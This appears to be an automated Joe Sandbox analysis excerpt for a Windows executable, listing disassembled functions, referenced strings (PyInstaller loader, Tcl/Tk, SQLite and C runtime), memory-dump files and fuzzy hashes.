Tcl_CreateInterp, xrefs: 00007FF6929E6B6B, 00007FF6929E6B8D
Tcl_GetVar2, xrefs: 00007FF6929E6E73, 00007FF6929E6E95
Tcl_GetObjResult, xrefs: 00007FF6929E6FB5, 00007FF6929E6FD7
Tcl_NewStringObj, xrefs: 00007FF6929E6F2B, 00007FF6929E6F4D
Failed to get address for %hs, xrefs: 00007FF6929E6B48
GetProcAddress, xrefs: 00007FF6929E6B4F
Tcl_DeleteInterp, xrefs: 00007FF6929E6C4B, 00007FF6929E6C6D
Tcl_EvalFile, xrefs: 00007FF6929E6FE3, 00007FF6929E7005
Tcl_ConditionFinalize, xrefs: 00007FF6929E6D8D, 00007FF6929E6DAF
Tcl_Init, xrefs: 00007FF6929E6B20, 00007FF6929E6B3F
Tcl_CreateThread, xrefs: 00007FF6929E6C79, 00007FF6929E6C9B
Tk_GetNumMainWindows, xrefs: 00007FF6929E70F7, 00007FF6929E7119
Tcl_MutexFinalize, xrefs: 00007FF6929E6D5F, 00007FF6929E6D81
Tcl_GetCurrentThread, xrefs: 00007FF6929E6CA7, 00007FF6929E6CC9
Tcl_Free, xrefs: 00007FF6929E709B, 00007FF6929E70BD
Tcl_CreateObjCommand, xrefs: 00007FF6929E6ECF, 00007FF6929E6EF1
Tcl_DoOneEvent, xrefs: 00007FF6929E6BC1, 00007FF6929E6BE3
Tcl_SetVar2, xrefs: 00007FF6929E6EA1, 00007FF6929E6EC3
Tcl_MutexLock, xrefs: 00007FF6929E6D03, 00007FF6929E6D25
Tcl_ThreadAlert, xrefs: 00007FF6929E6E45, 00007FF6929E6E67

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 3bd3e37efd012c8e2e3270f1ddacdcfc1e24b7bb52a0dbabcea0a7cbd221c97c
Instruction ID: 3cc01fabb5f02b4034ebb23ce1e9145323fb76d738cfce62998f01778a394638
Opcode Fuzzy Hash: 3bd3e37efd012c8e2e3270f1ddacdcfc1e24b7bb52a0dbabcea0a7cbd221c97c
Instruction Fuzzy Hash: 1002916698DF0791FB34AF26B8545B423A4FF0A75DB8440F6D80EC6265EFBCA54A8201

Function 00007FF8A8A4AE90 Relevance: 30.2, APIs: 1, Strings: 19, Instructions: 233COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A89E1DC0: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8A8A50B8A,?,?,?,?,?,00007FF8A89E1B22), ref: 00007FF8A89E1F17

Part of subcall function 00007FF8A89E1880: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8A89DB62A), ref: 00007FF8A89E19D2
Part of subcall function 00007FF8A89E1880: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8A89DB62A), ref: 00007FF8A89E1A64

memmove.VCRUNTIME140 ref: 00007FF8A8A4B214

Strings

U, xrefs: 00007FF8A8A4B06A
row_number, xrefs: 00007FF8A8A4AFDB
ntile, xrefs: 00007FF8A8A4B02C
U, xrefs: 00007FF8A8A4B052
lead, xrefs: 00007FF8A8A4B037
FILTER clause may only be used with aggregate window functions, xrefs: 00007FF8A8A4AFC3
dense_rank, xrefs: 00007FF8A8A4AFEA
Z, xrefs: 00007FF8A8A4B008
Y, xrefs: 00007FF8A8A4B05A
Y, xrefs: 00007FF8A8A4B072
U, xrefs: 00007FF8A8A4B082
lag, xrefs: 00007FF8A8A4B042
Z, xrefs: 00007FF8A8A4B062
RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression, xrefs: 00007FF8A8A4AF98
rank, xrefs: 00007FF8A8A4B001
cume_dist, xrefs: 00007FF8A8A4B021
L, xrefs: 00007FF8A8A4AFF1
percent_rank, xrefs: 00007FF8A8A4B015
Z, xrefs: 00007FF8A8A4B07A

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: FILTER clause may only be used with aggregate window functions$L$RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression$U$U$U$Y$Y$Z$Z$Z$cume_dist$dense_rank$lag$lead$ntile$percent_rank$rank$row_number
API String ID: 2162964266-2685886050
Opcode ID: 999b4b1806a84839649a1a88d09fe29e13c798ee9f557dc26e5fdee07f34f59f
Instruction ID: e786f5966e5c48d925aeeb6b951e6d047e139e156812a0f7c7b50822087a709d
Opcode Fuzzy Hash: 999b4b1806a84839649a1a88d09fe29e13c798ee9f557dc26e5fdee07f34f59f
Instruction Fuzzy Hash: FAB1F372A0BB819AEB208F65E44126E7BB0FB44788F144235DB9D17798EF7CE081CB15

Function 00007FF6929E7620 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF6929E7B07,FFFFFFFF,00000000,?,00007FF6929E3101), ref: 00007FF6929E767C

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6929E77C3
%.*s, xrefs: 00007FF6929E775C
\, xrefs: 00007FF6929E76B1
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6929E7690
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6929E7729
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6929E7653
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6929E76ED
CreateDirectory, xrefs: 00007FF6929E77CC

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 2001182103-930877121
Opcode ID: 6c872f26d3c5bf90e30e66b3b214a3341c1bb349430dae1687c9b816ac5e790f
Instruction ID: ead694b37617358fd2e6ff7d2c4f88bbb8ce17546c9359a54c7df585e0680b70
Opcode Fuzzy Hash: 6c872f26d3c5bf90e30e66b3b214a3341c1bb349430dae1687c9b816ac5e790f
Instruction Fuzzy Hash: 96519932A2C64291FB70AB26E8556FA2351FF4478CF4444B6D90EC2697EFBCE504C741

Function 00007FF6929E15E0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

Failed to create symbolic link %s!, xrefs: 00007FF6929E1602
fwrite, xrefs: 00007FF6929E17B1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6929E1682
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6929E16BA
fread, xrefs: 00007FF6929E17C6
malloc, xrefs: 00007FF6929E1729
Failed to extract %s: failed to open target file!, xrefs: 00007FF6929E163C
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6929E17AA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6929E17BF
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6929E1722
fopen, xrefs: 00007FF6929E1643
fseek, xrefs: 00007FF6929E16C1

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 77362343a227cbe0ee2fd4f691aba2488cadfc629340d395bea5f9ee17a56c46
Instruction ID: 63ad92b4c5e9523cead14756e13a9c675d3af58b6d7bbc1c098c6b8001847a2f
Opcode Fuzzy Hash: 77362343a227cbe0ee2fd4f691aba2488cadfc629340d395bea5f9ee17a56c46
Instruction Fuzzy Hash: F0516C72B08A4392FB30AB1294511BA63A1FF45B9CF4441B2EE0D87797DEBDE955C700

Function 00007FF8A8A38140 Relevance: 22.8, APIs: 1, Strings: 14, Instructions: 254COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A38253

Strings

PRIMARY KEY, xrefs: 00007FF8A8A382C9
USING , xrefs: 00007FF8A8A38323, 00007FF8A8A3833F
INDEX %s, xrefs: 00007FF8A8A38300
TABLE %s, xrefs: 00007FF8A8A3827C
AUTOMATIC COVERING INDEX, xrefs: 00007FF8A8A382F4
USING INTEGER PRIMARY KEY (rowid%s?), xrefs: 00007FF8A8A383C6
VIRTUAL TABLE INDEX %d:%s, xrefs: 00007FF8A8A383E3
SCAN, xrefs: 00007FF8A8A381EA
SEARCH, xrefs: 00007FF8A8A381F1
COVERING INDEX %s, xrefs: 00007FF8A8A38307
>? AND rowid<, xrefs: 00007FF8A8A383A8
SUBQUERY %u, xrefs: 00007FF8A8A3826A
AUTOMATIC PARTIAL COVERING INDEX, xrefs: 00007FF8A8A382E5
AS %s, xrefs: 00007FF8A8A38291

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: AS %s$ SUBQUERY %u$ TABLE %s$ USING $ USING INTEGER PRIMARY KEY (rowid%s?)$ VIRTUAL TABLE INDEX %d:%s$>? AND rowid<$AUTOMATIC COVERING INDEX$AUTOMATIC PARTIAL COVERING INDEX$COVERING INDEX %s$INDEX %s$PRIMARY KEY$SCAN$SEARCH
API String ID: 2162964266-2539795828
Opcode ID: 379934032a87ea845666aa47544c7898abc5530ef78c8951a33a5ba51bf8e372
Instruction ID: 31d81f19d5c11cd54e727c07cdb719bd31b0f5ab4ccbad5fd3f43297d86abccf
Opcode Fuzzy Hash: 379934032a87ea845666aa47544c7898abc5530ef78c8951a33a5ba51bf8e372
Instruction Fuzzy Hash: 89C1B02AB1BA82A6EB60CB21D4426B927A0FB447C4F440132DE5D57795FF3CF425C72A

Function 00007FF6929E7510 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6929E754F
GetWindowLongPtrW.USER32 ref: 00007FF6929E75CF
ShutdownBlockReasonCreate.USER32 ref: 00007FF6929E75E2
GetLastError.KERNEL32 ref: 00007FF6929E75EC
SetWindowLongPtrW.USER32 ref: 00007FF6929E7603

Strings

Needs to remove its temporary files., xrefs: 00007FF6929E75D5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 11bce47d0d0e64839e27bb7d3290e638deefce497560f6bcecbf4d4959fd4dcd
Instruction ID: c9c5aac82dec51caa2839224f6e39cada586124c0d326a5c7e648cd1707f4e1b
Opcode Fuzzy Hash: 11bce47d0d0e64839e27bb7d3290e638deefce497560f6bcecbf4d4959fd4dcd
Instruction Fuzzy Hash: 0421A773B48E4282F765AB7AA8481796350FF89B98F1841B0DE1EC73D5DFACD584C201

Function 00007FF8A8A13AB0 Relevance: 16.9, APIs: 2, Strings: 9, Instructions: 395COMMON

Download Yara Rule

Strings

unable to open shared library [%s], xrefs: 00007FF8A8A13C74
no entry point [%s] in shared library [%s], xrefs: 00007FF8A8A13FDD
sqlite3_, xrefs: 00007FF8A8A13D0B
error during initialization: %s, xrefs: 00007FF8A8A13EAE
not authorized, xrefs: 00007FF8A8A13B39
_init, xrefs: 00007FF8A8A13DEE
sqlite3_extension_init, xrefs: 00007FF8A8A13B56
%s.%s, xrefs: 00007FF8A8A13B82
lib, xrefs: 00007FF8A8A13D4F

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%s]
API String ID: 0-4148685299
Opcode ID: 77d267d23bc8cccb00cf90d5c36428e1a6d1803bee52c7928516f996ed291b09
Instruction ID: bdebe3060650ad132a2011b7c79a4d7964c4889d274f107a18890cb2f0645487
Opcode Fuzzy Hash: 77d267d23bc8cccb00cf90d5c36428e1a6d1803bee52c7928516f996ed291b09
Instruction Fuzzy Hash: 9502CF21A0FB82A6EA548F16E8563B927A1EF45BC0F084435DE4E46794FF3DF445C32A

Function 00007FF8B7DF1030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B7DF1058
__scrt_initialize_crt.LIBCMT ref: 00007FF8B7DF109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B7DF10AA
_RTC_Initialize.LIBCMT ref: 00007FF8B7DF10D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B7DF10FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B7DF1129

Memory Dump Source

Source File: 00000003.00000002.2147938757.00007FF8B7DF1000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8B7DF0000, based on PE: true

Associated: 00000003.00000002.2147904992.00007FF8B7DF0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000003.00000002.2147967359.00007FF8B7DF3000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000003.00000002.2147988549.00007FF8B7DF5000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7df0000_LIccs3x2LZ.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: b665e2aa0a1aafc407c8626279c8168d645185ea6c4bd927f3a78105dbac7c58
Instruction ID: fe2f32a3334d13ebac822cefd848a103475d35eb9fb2551f01f5561e14c62868
Opcode Fuzzy Hash: b665e2aa0a1aafc407c8626279c8168d645185ea6c4bd927f3a78105dbac7c58
Instruction Fuzzy Hash: C9816D21E0C74386FA50AB6EA8412BD2291AF557C0F5C4335DB0C9F7BEDE2EE8458710

Function 00007FF8B7E21030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B7E21058
__scrt_initialize_crt.LIBCMT ref: 00007FF8B7E2109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B7E210AA
_RTC_Initialize.LIBCMT ref: 00007FF8B7E210D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B7E210FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B7E21129

Memory Dump Source

Source File: 00000003.00000002.2148312417.00007FF8B7E21000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FF8B7E20000, based on PE: true

Associated: 00000003.00000002.2148282396.00007FF8B7E20000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000003.00000002.2148331271.00007FF8B7E23000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000003.00000002.2148347484.00007FF8B7E25000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7e20000_LIccs3x2LZ.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: b665e2aa0a1aafc407c8626279c8168d645185ea6c4bd927f3a78105dbac7c58
Instruction ID: 244e9d5ff1229a1c1c92b391d2402bd4538b24e00a27a7f85f87d4f4401e71a4
Opcode Fuzzy Hash: b665e2aa0a1aafc407c8626279c8168d645185ea6c4bd927f3a78105dbac7c58
Instruction Fuzzy Hash: F2817D61F0C34786FA54AB6DA4412BD6291AF86FC0F544135FB4D877B6DE3CEA458B00

Function 00007FF8B7831030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B7831058
__scrt_initialize_crt.LIBCMT ref: 00007FF8B783109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B78310AA
_RTC_Initialize.LIBCMT ref: 00007FF8B78310D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B78310FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B7831129

Memory Dump Source

Source File: 00000003.00000002.2146816229.00007FF8B7831000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00007FF8B7830000, based on PE: true

Associated: 00000003.00000002.2146783438.00007FF8B7830000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146845733.00007FF8B7833000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146872045.00007FF8B7834000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146889398.00007FF8B7835000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7830000_LIccs3x2LZ.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: ae43915e3b07681379ca8ba4e6bc2127fc77904d4e5f3c4d65703b2a9ee1d720
Instruction ID: 9c247b3911d8628283f1e70721bb5f1c7ee55507608fabd33412e3beb8c07f68
Opcode Fuzzy Hash: ae43915e3b07681379ca8ba4e6bc2127fc77904d4e5f3c4d65703b2a9ee1d720
Instruction Fuzzy Hash: 54817C21F8CB4386FA52AB6DA4412BD6A90AF5DFC0F564035FB4D877B6DE2CE4018608

Function 00007FF8B7DE1030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B7DE1058
__scrt_initialize_crt.LIBCMT ref: 00007FF8B7DE109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B7DE10AA
_RTC_Initialize.LIBCMT ref: 00007FF8B7DE10D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B7DE10FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B7DE1129

Memory Dump Source

Source File: 00000003.00000002.2147675299.00007FF8B7DE1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8B7DE0000, based on PE: true

Associated: 00000003.00000002.2147595433.00007FF8B7DE0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147802650.00007FF8B7DE3000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147833244.00007FF8B7DE4000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147876592.00007FF8B7DE5000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7de0000_LIccs3x2LZ.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 901c4ed8dfb2fa8bec28092366649e101174f81302d3072108d76d4d737ca59f
Instruction ID: 806cb140a287515407ecb07ce0177e5c173562ceea1ca2c6336ba1ee9c284a30
Opcode Fuzzy Hash: 901c4ed8dfb2fa8bec28092366649e101174f81302d3072108d76d4d737ca59f
Instruction Fuzzy Hash: 6B817C61F0834386FE53AB6DA8412BD2291AF857C0F5C4339DB6C537BEDE2EE8458610

Function 00007FF8A89F67E0 Relevance: 15.4, APIs: 2, Strings: 8, Instructions: 416stringCOMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89F687A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A89F6B05

Strings

table, xrefs: 00007FF8A89F6913
view, xrefs: 00007FF8A89F690C
there is already an index named %s, xrefs: 00007FF8A89F6A6F
table %T already exists, xrefs: 00007FF8A89F6A0F
temporary table name must be unqualified, xrefs: 00007FF8A89F68AF
sqlite_sequence, xrefs: 00007FF8A89F6AFB
sqlite_temp_master, xrefs: 00007FF8A89F6806
sqlite_master, xrefs: 00007FF8A89F67FC, 00007FF8A89F6938, 00007FF8A89F6C8F

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmovestrcmp
String ID: sqlite_master$sqlite_sequence$sqlite_temp_master$table$table %T already exists$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 4085073597-760404430
Opcode ID: fcd6a3751c7445484c8ed9cde870a550215bda4f0d9480bd59e44ec88d8f0890
Instruction ID: 9b4aa13f17a168ea44d7916de9e4a9cc332806f1493658605f7fe6dba6f0a9bb
Opcode Fuzzy Hash: fcd6a3751c7445484c8ed9cde870a550215bda4f0d9480bd59e44ec88d8f0890
Instruction Fuzzy Hash: 2C02BC72A0A782A6EB29DF25D4047A937A0FB84BC5F488239CA4D07795EF7CE851C714

Function 00007FF8A8A885D0 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF8A8A88671
memcmp.VCRUNTIME140 ref: 00007FF8A8A88696
memcmp.VCRUNTIME140 ref: 00007FF8A8A886B7

Strings

separato, xrefs: 00007FF8A8A88767
remove_diacritics=2, xrefs: 00007FF8A8A886AD
remove_diacritics=0, xrefs: 00007FF8A8A8868C
separato, xrefs: 00007FF8A8A8870B
tokencha, xrefs: 00007FF8A8A88715
separato, xrefs: 00007FF8A8A88638
remove_diacritics=1, xrefs: 00007FF8A8A88667

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memcmp
String ID: remove_diacritics=0$remove_diacritics=1$remove_diacritics=2$separato$separato$separato$tokencha
API String ID: 1475443563-2447024522
Opcode ID: 90c12e17256dce855bc3e626e9bb717711d8f31393289ab1fc931308c6426a96
Instruction ID: 164b4e462b9419657223d8629e338e31e5eb5b4c6eae5813fffb7cce5cca050b
Opcode Fuzzy Hash: 90c12e17256dce855bc3e626e9bb717711d8f31393289ab1fc931308c6426a96
Instruction Fuzzy Hash: 5141E762E0B28252FB619A21F4013BA66A0EB517D4F444131DE6D472C4FF7CF9A1C736

